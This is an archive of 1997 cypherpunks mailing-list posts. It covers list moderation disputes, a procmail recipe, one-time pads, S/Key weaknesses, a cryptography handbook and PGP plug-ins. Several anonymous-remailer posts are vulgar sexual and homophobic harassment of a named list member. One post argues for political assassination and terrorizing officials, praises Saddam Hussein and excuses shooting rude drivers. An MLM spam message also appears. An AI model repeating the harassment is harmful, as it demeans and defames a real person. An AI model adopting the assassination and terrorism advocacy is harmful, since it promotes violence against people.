Message-ID: <199701280027.QAA07921@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Deviant Vulis K>ocksucker< Of The Minute studied yoga back-
stretching exercises for five years so he could blow himself
(nobody else will).

    _.._        _.._
  ,','"_:./\/\,'_ `.`.
 /_:--:_ ( oo ) _:--:_\ Dr.Deviant Vulis K>ocksucker< Of The Minute
/'      `'`vv'`'      `\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 27 Jan 1997 13:36:31 -0800 (PST)
To: cypherpunks <lwp@mail.msen.com>
Subject: Re: Moderated list is missing headers
In-Reply-To: <199701271746.JAA29041@toad.com>
Message-ID: <Pine.LNX.3.95.970127163350.1186B-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 27 Jan 1997, Lou Poppler wrote:

> The arguments about imaginary quotes and libel are harder to untangle
> because the moderation process seems to consume the mail headers showing
> the messages' travels before reaching toad.com.  I suggest that these
> headers are signal not noise, and should be propagated if at all possible.
> We have had problems in the past with forgeries, and should retain this
> basic tool for evaluating a message's source.

I agree, except I rely on this to sort the moderated and unmoderated lists into
separate folders.  I'm sure the bugs are still being worked out, but it would
be much easier to filter if the sender header was set appropriately.  Here's
the procmail recipe in case anyone's interested:

:0
* ^Sender: owner-cypherpunks@toad.com
{
	:0
	* -1^1 ^Received:
	* 4^1  ^Received:.*from majordom@localhost.*by toad.com
	* ^Message-Id:.*toad.com
	in.cpunks

	:0
	unedited
}

The number 4 should be changed depending on how many hops a message must make
to reach its destination.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMu0gyyzIPc7jvyFpAQGCrAgAlIT6oSZ18sVGuMQWeszAWPE67BwMRx/1
2CLsrtpCaKfj5j+C5DsT2dpv4IhlOFOftrtCPL8KOEot5YRg3mUeUl7efwfnioeB
UmM3h7Zx8W5RFZlTlhMim58G5o88jYVE3Rsov+f8nYM9hoXPDyjgoZmnG4BUn8Ca
saL3ul2zO39bB4YwRmBKCeXRBzefmaowJbdC7Hl+S+uU61+Dbtbk/Fq2o5B9Gsvq
wjg3QF4u+oyDCfcxdmLajL9tE6K7L2bgEkvi9kxt7AUP5e/l53epXK9cFplYF0B6
qgPd0shYmWiTSbhjQ4tw6jZkxuyxWqFX/nAHGp7Tciqp/rIkwX/tNQ==
=riw1
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 27 Jan 1997 15:44:32 -0800 (PST)
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: OTP security
Message-ID: <854404295.619789.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> I was thinking about the thread we had a week or so ago about OTPs.  Say
> I'm going to burn a CD of what I think are cryptographically random bits,
> but somehow I end up with part of my stream being predictable (say every
> 16th bit).  What does this do to the security of my CD?

Depends on how that 16th bit is related to the other bits and whether 
these predictable bits give any information about the other bits on 
the disk.

If we assume all the other bits are true random and that the 16th 
bits are predictable only in that they can be predicted left and 
right but do not depend upon the other bits not in positions 16, 32, 
48, 16n etc... we can just discard them and use the rest obtaining 
perfect security. We can even use all the bits and all we lose is one 
bit every two bytes and therefore if we are calling the bytes ASCII 
and say adding mod 13 we only have "imperfect" security on every 2nd 
character where there are 2^7 eg. 128 possible characters. 
Suprisingly this yields perfect security as there are still a number of
possible pads which lead to reasonable and plausible decryptions.



  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 27 Jan 1997 16:10:57 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <854404298.619818.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



 
> I distinctly recall how Paul used to call for censoring me. If he's
> changed his mind and really doesn't think that anyone should be censored,
> it's a welcome development - even if it was brought on by the sandfart
> censoring Paul.

That is strange indeed as I distinctly recall saying, in as many 
words, I was "Happy you had stopped posting", as at that time nearly 
everything you posted was dreck as far as I was concerned. I also 
recall calling John Gilmore a Fascist censor and several other such 
things over the incident when you were forcibly unsubscribed from the 
list. I never advocated censorship, I was merely relieved you had 
stopped posting so much dreck to the list. Anyway, I don`t want a 
flame war over it so we`ll just agree to differ over this.
 
> > > I used to respect Gilmore until this series of incidents (unsubscribing
> > > me, turning list moderated).  Now I only have disdain for him.
> >
> > I agree entirely, Gilmore was a respected man (despite the EFF being
> > a corporate whore) who threw any respect and admiration others had
> > for him away.
> 
> I wonder what he thinks he got in exchange...

A nice clean list where he and his bunch of "chums" can post whatever 
slanderous flames they want but the victims are not allowed to 
respond.

> > > Quite a few people have expressed interest in re-creating an unmoderated
> > > cypherpunks list at another site if Gilmore decided to stick to his
> > > "moderation experiment".
> >
> > I notice and appreciate the quotes around "moderation experiment",
> > this is, without doubt, a permenant measure to silence members of the
> > list who dare to offer criticism of anyone an element of {x: x a
> > friend or co-censor of John Gilmore}
> 
> Yes - clearly the personality of the submitter is the most important
> factor in moderator's rejections, not even the content.

Indeed, content based censorship is of an order way above (if any 
censorship is better than any other) censorship based on subjective 
criterion such as personality. At least with content based censorship 
the censored version of the list would be readable because all the 
flaming and spam would have been cut, as it is all it offers is a 
good statistical picture of who is in favour with the list fuhrer and 
his pawns.
 
> > I do not have the resources to run such an unmoderated list but I
> > hope someone on this list does and is good enough to start such a
> > list, cypherpunks is a shell of what it once was.
> 
> I notice that the sandfart has been challenging his enemies to create
> an alternative mailing list. I wonder what their contingency plan is.
> Without a doubt, such a competing list would be mailbombed and flooded
> with garbage by Gilmore and his entourage. What else?

Presumably a number of mailing list chains would be set up to bounce 
the "flamers", that is people not members of the cypherpunks "in 
crowd" submissions to the new lists.

> > Also, please note this message will be junked onto cypherpunks-flames
> > even though it contains no flames or flame bait because it dares to
> > criticise the censorship of the list (once again Sandy, I give you an
> > opportunity to prove me wrong).
> 
> The sandfart has proven me right already. As I said, I think we're
> paying too much attention to him and his censorship, and he's just
> a front for Gilmore anyway.

Hmm, anyway, once again if anyone on this list has the resources to 
set up a new uncensored list I ask them to do so as soon as possible, 
this list is hardly worth the time it takes to read it now. Anyone 
who had anything worthwhile to say is so disgusted with the 
censorship they are either tied up in a thread like this criticising  
it or have chosen not to post at all. 

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 27 Jan 1997 15:00:15 -0800 (PST)
To: sandfort@crl.com (Sandy Sandfort)
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <Pine.SUN.3.91.970127134838.16386C-100000@crl.crl.com>
Message-ID: <199701272255.QAA06318@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Sandy Sandfort wrote:
> > (By the way, if you don't like moderation, you would hate Eric Hughes'
> > favored solution.)
> > What was that?
> 
> Eric, would like to require a deposit ($20 was the example he
> gave) from subscriber/posters.  Non-subscribers would not be 
> allowed to post.  Subscribers who voluntarily left the list, 
> would get their deposit back.  Subscribers who flamed twice 
> (every dog gets one bite) would be kicked off the list and their 
> deposit would be forfeited (or perhaps turned over to the flame 
> victim).

Obviously, you will not be able to effectively collect from non-posters,
since anyone would be able to resell subscriptions. 

Also, anyone can create a usenet newsgroups like alt.cypherpunks,
or cypherpunks.general, which would be free.

Lots of competing cypherpunks mailing lists would spring up.

You would make some money out of it (like maybe $700 or so), but would
waste so much time that it would not be worth the trouble.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 27 Jan 1997 16:57:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: [STEGO] PGP 3
Message-ID: <199701280056.QAA16088@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dildo L[oser] Vegetable K[ankersore]OfTheMinute has been
fired for anally raping officemates.

          \
         o/\_ Dr.Dildo L[oser] Vegetable K[ankersore]OfTheMinute
        <\__,\
         '\,  |






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 27 Jan 1997 16:57:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCE] overview.htm
Message-ID: <199701280057.QAA16330@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dogfucker L[amer] Vinegar K[rud]OfTheMonth died of AIDS last
night with his queer lover.

            ///
           (0 0)
    ____ooO_(_)_Ooo__ Dogfucker L[amer] Vinegar K[rud]OfTheMonth






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 27 Jan 1997 16:58:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: X.500
Message-ID: <199701280058.QAA16548@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vicious K[reep]OfTheMonth's wee-wee is so tiny that
only his mommy is allowed to touch it.

 v-v-v-@@-v-v-v
      (..)     Dr.Dimitri Vicious K[reep]OfTheMonth






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 27 Jan 1997 16:59:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cellular location
Message-ID: <199701280058.QAA16809@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dead Vasectomy KOTM has been fired for stealing blow jobs.

(~\/~) /~'\ /`~\   _    _
`\  /'(    `    ) ( `\/' )
  `'   `\     /'  `\    /' Dead Vasectomy KOTM
         `\ /'      `\/'
           '






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 27 Jan 1997 15:11:04 -0800 (PST)
To: erp@digiforest.com (Erp)
Subject: Re: Best Computer School?
In-Reply-To: <Pine.LNX.3.95.970127154632.7501A-100000@digital.digiforest.com>
Message-ID: <199701272307.RAA06428@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


moscow state university in russia is not bad also.

they teach lots of theory... which is good.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen, Patrick" <MullenP@ndhm06.ndhm.gtegsc.com>
Date: Mon, 27 Jan 1997 14:12:37 -0800 (PST)
To: "'Cypherpunks'" <coderpunks@toad.com>
Subject: Handbook of Applied Cryptography
Message-ID: <c=US%a=_%p=GTE%l=NDHM06-970127221028Z-78814@ndhm06.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


(My apologies if someone else has posted this information and I missed
it.)

_Handbook_of_Applied_Cryptography_, Menezes, Oorschot, Vanstone, 
	CRC Press, Boca Raton, 1997

With a foreword by R.L. Rivest

Contents in Brief:
Table of Contents	v
List of Tables		xv
List of Figures		xix
Foreword		xxi
Preface			xxiii

1 Overview of Cryptography	1
2 Mathematical Background	49
3 Number-Theoretic Reverence
	Problems		87
4 Pulic-Key Parameters		133
5 Pseudorandom Bits and
	Sequences		169
6 Stream Ciphers		191
7 Block Ciphers			223
8 Public-Key Encryption		283
9 Hash Functions and Data
	Integrity			321
10 Identification and Entity
	Authentication		385
11 Digital Signatures		425
12 Key Establishment 
	Protocols		489
13 Key Management Techniques	543
14 Efficient Implementation	591
15 Patents and Standards	635
A Bibliography of Papers from
	Selected Cryptographic
	Forums			663

References			703
Index				775

>From the back cover:

<< BEGIN QUOTE >>
Cryptography, in particular public-key cryptography, has emerged in the
las 20 years as an important discipline that is not only the subject of
an
enormous amount of research, but provides the foundation for information
security in many applications.  Standards are emerging to meet the
demands
for cryptographic protection in most areas of data communications.
Public-
key cryptographic techniques are now in widespread use in industry, 
especially in the financial services industry, in the public sector, and
by
individuals for their personal privacy, such as in electronic mail.
This 
Handbook will serve as a valuable reference for the novice as well as
for
the expert who needs a wider scope of coverage within the aread of
cryptography.  It is a necessary and timely guide for professionals who
practice the art of cryptography.

The _Handbook_of_Applied_Cryptography_ provides a treatment that 
is multifunctional:

* It serves as an introduction to the more practical aspects of
  both conventional and public-key cryptography

* It is a valuable source of the latest techniques and algorithms
  for the serious practitioner

* It provides an integrated treatment of the field, whil still
  presenting each major topic as a self-contained unit

* It provides a mathematical treatment to accompany 
  practical discussions

* It contains enough abstractoin to be a valuable reference for
  theoreticians while containing enough detail to actually allow
  implementation of the algorithms discussed

This is the definitive cryptography reference that novice as well as
experienced
developers, designers, researchers, engineers, computer scientists, and
mathematicials alike will find indispensable.
<< END QUOTE >>

~ Patrick





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ciro Maria <cmaria@stevens-tech.edu>
Date: Mon, 27 Jan 1997 14:31:20 -0800 (PST)
Subject: No Subject
Message-ID: <199701272230.RAA27944@attila.stevens-tech.edu>
MIME-Version: 1.0
Content-Type: text/plain


remove





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ciro Maria <cmaria@stevens-tech.edu>
Date: Mon, 27 Jan 1997 14:33:10 -0800 (PST)
Subject: No Subject
Message-ID: <199701272230.RAA28048@attila.stevens-tech.edu>
MIME-Version: 1.0
Content-Type: text/plain


remove




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bigboy@gte.net (Ernie Steefan)
Date: Mon, 27 Jan 1997 16:18:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: [[[ Worldwide  Computer Based Business   !   ]]]
Message-ID: <Ready Aim Fire!_1/27/97 7:20:05 PM_bigboy@gte.net>
MIME-Version: 1.0
Content-Type: text/plain



If you have a PC and want to achieve real Financial Independence then you MUST
take a look at our Powerful Computer Based Business.
No matter who you are or where you live, Our Business is Universal.
We distribute software and information all over the world through E-Mail and the
Internet.
Our program called PC-SUPER-MLM is the most simple and powerful MONEY MAKING software in the world!. of course, you don't have to believe me until you see
the actual program.
Reply to this message and i will send you a FRE copy of the PC-SUPER-MLM
software via E-Mail as an attachement.

Have a great day !.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: peter.allan@aeat.co.uk (Peter M Allan)
Date: Mon, 27 Jan 1997 10:19:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: S/KEY (was: 2 Questions)
Message-ID: <9701271820.AA17135@clare.risley.aeat.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Steven M Orrin <privsoft@ix.netcom.com> wrote:
> Hey guys,
> 2 quick questions:

> Are there any known hacks or weaknesses in S/Key?


S/Key has a rather limited scope, in aiming to prevent replay attacks.
These are where somebody snoops on your network to obtain passwords,
an uses them in later login attempts.  This is undoubtedly a major
weakness in most current networks.  S/Key addresses this replay of data
obtained in passive eavesdropping, but that is all it does.

Several attacks against S/Key have been discussed [1], including:

   race attacks:  eavesdropping most of the hash, and racing the user
                  to provide the rest of it

   active attacks:  impersonating the server to learn future hashes
                    or simply hijacking an established session.

Strengthening S/Key really means expanding the scope to get an
authenticated and encrypted 2-way connection.  [John Gilmore's S/WAN may
end up achieving this.  I'm not familiar with it (yet?).]

Ideas for improving S/Key that involve secret data stored on the server
tend to get frowned on, as the original aim was to avoid that.  In any case
you cannot get the full encrypted 2-way connection without getting a whole
lot more complicated.

Recent discussions [2] have centred on ways to rekey the list of hashes remotely when
the count runs down.  These changes, and S/Key itself, are better than nothing
but where's the ham sandwich ? [3]

Beside the protocol weakness there is potential for finding collisions in the hash
function (MD4 originally).  A choice of hash functions can be provided. See RFC-1938.
  

1) See also SecureID, which is more complicated and still subject
   to similar attacks.

2) Not here.

3) Old joke.  A ham sandwich is better than nothing, and nothing is better than
   a life of complete happiness, so ......




 -- Peter Allan    peter.allan@aeat.co.uk






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thy Tang <thytang@computer-services.com>
Date: Mon, 27 Jan 1997 16:18:54 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: No Subject
Message-ID: <01BC0C7F.7EABCEE0@pm5_03.computer-services.com>
MIME-Version: 1.0
Content-Type: text/plain


unsubcrise





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 27 Jan 1997 18:34:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: The Bell Curve
Message-ID: <199701280233.SAA12120@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain



     .-.     .-.     .-.     .-.     .-.     .-.     .-.
  --/---\---/---\---/---\---/---\---/---\---/---\---/---\---/-
         `-'     `-'     `-'     `-'     `-'     `-'     `-'




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Mon, 27 Jan 1997 16:09:54 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: overview.htm (fwd)
In-Reply-To: <32EC6BAF.2674@gte.net>
Message-ID: <Pine.SOL.3.93.970127190233.15519A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 27 Jan 1997, Dale Thorn wrote:

> Nurdane Oksas wrote:
> > On Sun, 26 Jan 1997, Dale Thorn wrote:
> > > Nurdane Oksas wrote:
> > > > On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > > > > Nurdane Oksas wrote:
> > > > > >     i think it's good also to exercise outdoors as well as your
> > > > > >     indoor nordictrack machines..sun and air is esp. necessary;
> 
> > > > > but remember, tanning will kill ya.
> 
> > > >         Yes it will; Not a fan of tanning myself...it also causes lots
> > > >         of skin problems, have seen women age too soon tanning;
> > > >         we don't go outside naked here in NorthEast...do remember;
> 
> > > The real babes in So. Cal. go to tanning salons. That way the evenly-
> > > distributed tan looks best with, say, a pure white bikini.  You can
> > > go to the beach, of course, and hang out with the hoi polloi, but
> > > it's mostly kids with pimples and stuff.
> 
> >         i don't see why she would wear a bikini if she already is tan.
> >         She just goes to show off right???  California is know for
> >         very beautiful girls ...     I like the pale look :)
> 
> There are two really major beaches in the L.A. area that I know of.
> One is Bolsa Chica, several miles long, north of Huntington Beach,
> which attracts most of the young'uns south of L.A., and Zuma in the
> northmost points of Malibu, which gets a lot of Valley people
> (fer sure).  To quote the L.A. Weekly of a few years ago, in a
> "Best of L.A." review, "Why do all those hot young girls go to Zuma?
> Because that's where all the hot young boys are."

	I see.

> But the real babes don't go there.  They get skates and nifty little
> costumes and zip up and down the boardwalks in Santa Monica and
> Pacific Palisades mostly, in case some hot producer/director should
> happen along.

	I see.  
	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Mon, 27 Jan 1997 16:13:37 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: overview.htm (fwd)
In-Reply-To: <32EC6D24.2FD4@gte.net>
Message-ID: <Pine.SOL.3.93.970127191020.15519B-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 27 Jan 1997, Dale Thorn wrote:

> Nurdane Oksas wrote:
> > On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > > Nurdane Oksas wrote:
> > > > California is know for very beautiful girls ...
> 
> > > wrong.
> 
> > well, seems D. Thorn agrees with the song: 'california girls'
> 
> Depends on where you go, and what time of year. So. Cal. is no doubt
> a revolving door for the girl markets, especially on the beach board-
> walks, or on San Vicente where a lot of joggers run.

	seems, Americans like their own women , which is all they
	have seen maybe...
	
> 
> Anywhere else and it's no different from Cleveland or Pittsburgh.

	Well, can you say you've been 'anywhere else'?

	Regards,	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Mon, 27 Jan 1997 16:24:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Censorship on Cypherpunks
Message-ID: <199701280024.QAA25228@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dirtbag L}eninist{ Vermin K}ock{ Of The Month does NOT eat
pussy. He only eats asshole if it's got a big dick up in front.
Whoever calls him bisexual is a fucking liar. He likes to suck
cocks in front of an audience.

   ,/         \,
  ((__,-"""-,__))
   `--)~   ~(--`
  .-'(       )`-, Dr.Dirtbag L}eninist{ Vermin K}ock{ Of The Month
  `~~`d\   /b`~~`
      |     |
      (6___6)
       `---`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: privsoft@ix.netcom.com (Steven M Orrin)
Date: Mon, 27 Jan 1997 19:24:21 -0800 (PST)
Subject: Re: S/KEY (was: 2 Questions)
Message-ID: <199701280323.TAA19112@dfw-ix4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to Bill and Peter for your help.
Steveo




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 27 Jan 1997 16:39:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Handbook of Applied Cryptography
Message-ID: <1.5.4.32.19970128003428.006b7938@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Here's the publisher's URL for Handbook of Applied Cryptography, 
which amplifies Patrick's summary, and gives ordering info.

     http://www.crcpress.com/PRODS/8523.HTM

Just reading the mouthwatering summaries and the extensive, detailed 
list of topics is a good primer on crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wlkngowl@unix.asb.com (Rob)
Date: Mon, 27 Jan 1997 11:40:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGPmail for Windows, Version 4.5
Message-ID: <199701272000.PAA11880@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


On 26 Jan 1997 18:59:32 -0500, you wrote:
[..]
>It doesn't seem to work with the mail program in MS IE, or MS WordMail.
>I understand why some people don't like Microsoft, but excluding
>support for popular Microsoft programs seems contrary to their
>stated goal of promoting the use of crypto.

I believe (according to their page) it's in the works to add support for
other programs.

It might also be that the MS CryptoAPI may impose limitations on crypto
plug-ins that require annoying hacks to use conveniently. But maybe not...

I'm surprised the didn't mention Pegasus Mail, which is an amazing "hot"
mailer, with a sort-of built-in crypto plug-in capability... it's also free.

Rob


-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 27 Jan 1997 19:52:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701280351.TAA15925@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:04 PM 1/27/97 -0800, Sandy Sandfort wrote:
...
>Eric, would like to require a deposit ($20 was the example he
>gave) from subscriber/posters.  Non-subscribers would not be 
>allowed to post.  Subscribers who voluntarily left the list, 
>would get their deposit back.  Subscribers who flamed twice 
>(every dog gets one bite) would be kicked off the list and their 
>deposit would be forfeited (or perhaps turned over to the flame 
>victim).

I know that this wasn't your idea, and am not critisizing you.
This idea would be great if everyone had an equal access to funds.  Persons
willing to part with funds could flame people indiscriminately.  Persons
with more money, meaning no bills or very few in relation to capitol, would
be more willing to part with funds.  Suddendly, the rich control the press
again, at least to the extent that they would be able to say anything.  The
rich would be more equal.
The plan could be hacked.  With several accounts, perhaps stolen, forged,
etc. a person submits the $20, flames h[is/er] victim, unsubscribes,
collects h[is/er] deposit, resubscribes under a new name, and repeats the cycle.
Plus, as has been said before, the definition of a flame is subjective.  It
has been shown that children with more symettrical faces get along better
with teachers.  It has been shown that even uncorrupted babies know what
physical beauty is.  If there is any ability to pre-judge a persons
character before reading the post, than the post is more likely to be judged
accordingly.
I hope that you will be fair in your determinations, and I assume that you
will do your best.  But I still worry, only because that you are human.
And humans make mistakes.
At least the current moderation doesn't cost any one twenty bucks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 27 Jan 1997 17:53:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
In-Reply-To: <199701271426.GAA23803@toad.com>
Message-ID: <NBV81D91w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc <blancw@cnw.com> writes:

> From:	jim bell (in response to Dimitri Vulis')
>
> Look, I've proposed what I consider to be a remarkably consistent method to
> prevent the kind of political tyranny that you criticize, and I don't see
> any recognition of this fact.
> ........................................................
>
> 1) Jim, why do you insist on discussing this on an forum for encryption?

Assassination politics is certainlyhighly crypto-relevant (being an
important application of anonymity and untraceable payments). It's of
interest to a number of participants in the forum. So, why not?

> 2) Why do you suppose the Iraqis haven't already thought of doing this
> themselves?

Perhaps because they love Saddam, who really is a great guy. Stop listening
to what U.S.gubmint and media tell you and use your brain.  What did
Saddam do to _you?

> 3) The Mafia uses this method all the time - why then haven't they achieved
> a more rational society among themselves?

The Mafia in the U.S. doesn't work. The sicilian Mafia is very successful at
assassinating any public officials that fucks with it.

> 4) Weren't governments (like the U.S.) instituted to prevent this sort of
> thing (even if they don't work out as expected)? i.e., there were systems
> of courts and lawyers and such instituted to openly deal with "criminal"
> activity so that a) people could receive assistance against low-life
> degenerate killers, and b) it could be proven that the accused were indeed
> deserving of punishment.

When I was taking political science at Columbia, one of my most memorable
insights came from reading Aeschil's tragedies. Consider this recurrent
thread: why are people rude on highways, and is shooting them justified?
I claim that if a driver felt that the likelihood of him getting a ticket
for cutting people off was high enough, they wouldn't do it. But of course
the cops are busy chasing the drug dealers :-), so the only remaining
deterrent is the likelihood that someone will shoot you for cutting them
off (which happens occasionally).

> Humans being what they are, this hasn't worked like it's supposed to, but
> the point is that there is a reason why such ideas for systems of justice
> were introduced in the first place.   That reason, as I eloquently read in
> a book, was "So That Reason May Live".  That is, so that people who choose
> to live in a "society" may do so by the method of solving problems through
> the application of intelligence, rather than merely knocking each other off
> because a voting majority decides they don't like someone.

Re-read your Hobbes - but don't believe him. The state did not come about
because the people thought they'd be better off under it. The state came
about as one tribe conquered and enslaved another tribe; and gradually
most members of the winning tribe became slaves too.

> Destructive people often ascend to positions of power not simply because
> they are ruthless, but because they have 1) many sycophantic followers and
> 2) many ignorant, vulnerable people unable to prevent it.  You might be
> able to kill off  one Saddam, but potentially many others would be waiting
> in the wings to take his place.   The situation surrounding the existence
> of someone like Saddam is part of the contributing factors which keeps him
> there, not simply that one man himself.  It was the same with Hitler and
> with so many others  -  they don't just have an excess of  "power"
> concentrated within themselves which puts them in positions of control over
> others  - there will have been many people who will have helped put them
> there, expecting to derive benefits from it.

I don't like your Saddam example, having much admiration for the man, but
again this goes back to the perceived likelihood of future assassination.
If Saddam is killed in an unlikely event, he will be succeeded by someone
who does not fear assassination. If all potential successors are convinced
that the rubout can be repeated, they won't go for the job. Remember, the
purpose of "terrorism" is not just to kill someone, but to "terrorize".

> And what will be done about all those people who made this "power"
> possible?  You don't just kill the one man and be done with it - you have
> to also "kill" the conditions which maintained him.

You rub out enough key people and terrorize their potential successors
into not wanting to take over their jobs, and the system collapses.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 27 Jan 1997 19:16:57 -0800 (PST)
To: blanc <cypherpunks@toad.com>
Subject: RE: Internet, Countries, Nationalism, etc.
In-Reply-To: <199701270226.SAA03548@toad.com>
Message-ID: <v03007833af130152f63d@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:39 pm -0500 1/26/97, blanc wrote:
>p.s.   I be femme
        ^^^^^^^^^^

Franconics...

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 18:32:18 -0800 (PST)
To: Lou Poppler <lwp@mail.msen.com>
Subject: Re: Moderated list is missing headers
In-Reply-To: <Pine.BSI.3.92.970127113703.6769A-100000@conch.msen.com>
Message-ID: <32ED7B88.6093@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Lou Poppler wrote:
> 
> The arguments about imaginary quotes and libel are harder to untangle
> because the moderation process seems to consume the mail headers showing
> the messages' travels before reaching toad.com.  I suggest that these
> headers are signal not noise, and should be propagated if at all possible.
